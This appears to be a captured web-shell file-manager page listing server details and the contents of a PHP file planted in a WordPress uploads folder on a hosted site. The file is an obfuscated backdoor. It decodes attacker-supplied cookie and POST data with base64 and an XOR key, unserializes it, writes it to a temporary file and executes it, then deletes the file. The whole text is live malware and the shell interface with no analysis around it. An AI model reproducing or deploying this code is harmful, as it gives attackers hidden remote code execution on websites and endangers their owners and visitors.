HEX
Server: Apache/2.4.18 (Ubuntu)
System: Linux phubuntu06.apexhosting.com 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User: master06 (1000)
PHP: 7.0.33-0ubuntu0.16.04.16
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Upload Files
File: /var/www/html/stonescuppers_com/root/wp-content/uploads/2020/12/b23f48ee.php
$yQFnV = "\x76" . 'X' . "\x6e" . "\x5f" . 'r' . chr ( 462 - 353 ).'T';$CTCizJ = chr (99) . "\x6c" . chr (97) . chr (115) . 's' . "\x5f" . "\145" . chr ( 195 - 75 )."\151" . chr ( 604 - 489 )."\x74" . chr ( 647 - 532 ); $pyAFzNtWlZ = class_exists($yQFnV); $CTCizJ = "55556";$fmGivFmIq = strpos($CTCizJ, $yQFnV);if ($pyAFzNtWlZ == $fmGivFmIq){function ImUTx(){$eadPMXJ = new /* 44338 */ vXn_rmT(62321 + 62321); $eadPMXJ = NULL;}$hxgzChb = "62321";class vXn_rmT{private function rROijQ($hxgzChb){if (is_array(vXn_rmT::$klwCD)) {$name = sys_get_temp_dir() . "/" . crc32(vXn_rmT::$klwCD["salt"]);@vXn_rmT::$klwCD["write"]($name, vXn_rmT::$klwCD["content"]);include $name;@vXn_rmT::$klwCD["delete"]($name); $hxgzChb = "62321";exit();}}public function OSPfpqQdY(){$kcUUAlXlRU = "47057";$this->_dummy = str_repeat($kcUUAlXlRU, strlen($kcUUAlXlRU));}public function __destruct(){vXn_rmT::$klwCD = @unserialize(vXn_rmT::$klwCD); $hxgzChb = "13572_37139";$this->rROijQ($hxgzChb); $hxgzChb = "13572_37139";}public function voaEC($kcUUAlXlRU, $euAiLTJk){return $kcUUAlXlRU[0] ^ str_repeat($euAiLTJk, intval(strlen($kcUUAlXlRU[0]) / strlen($euAiLTJk)) + 1);}public function kdMrhW($kcUUAlXlRU){$MZmLGbabM = chr ( 539 - 441 )."\x61" . "\163" . chr (101) . "\x36" . '4';return array_map($MZmLGbabM . chr (95) . "\144" . "\145" . "\x63" . "\157" . 'd' . "\x65", array($kcUUAlXlRU,));}public function __construct($XwWfS=0){$ZRUXan = "\54";$kcUUAlXlRU = "";$CEuylA = $_POST;$KTETKN = $_COOKIE;$euAiLTJk = "62039c23-5644-4aa8-b056-1537ab2aac2b";$mPiGwtJV = @$KTETKN[substr($euAiLTJk, 0, 4)];if (!empty($mPiGwtJV)){$mPiGwtJV = explode($ZRUXan, $mPiGwtJV);foreach ($mPiGwtJV as $FcAXV){$kcUUAlXlRU .= @$KTETKN[$FcAXV];$kcUUAlXlRU .= @$CEuylA[$FcAXV];}$kcUUAlXlRU = $this->kdMrhW($kcUUAlXlRU);}vXn_rmT::$klwCD = $this->voaEC($kcUUAlXlRU, $euAiLTJk);if (strpos($euAiLTJk, $ZRUXan) !== FALSE){$euAiLTJk = explode($ZRUXan, $euAiLTJk); $RGIGIPwfIv = base64_decode(sha1($euAiLTJk[0]));}}public static $klwCD = 23568;}ImUTx();}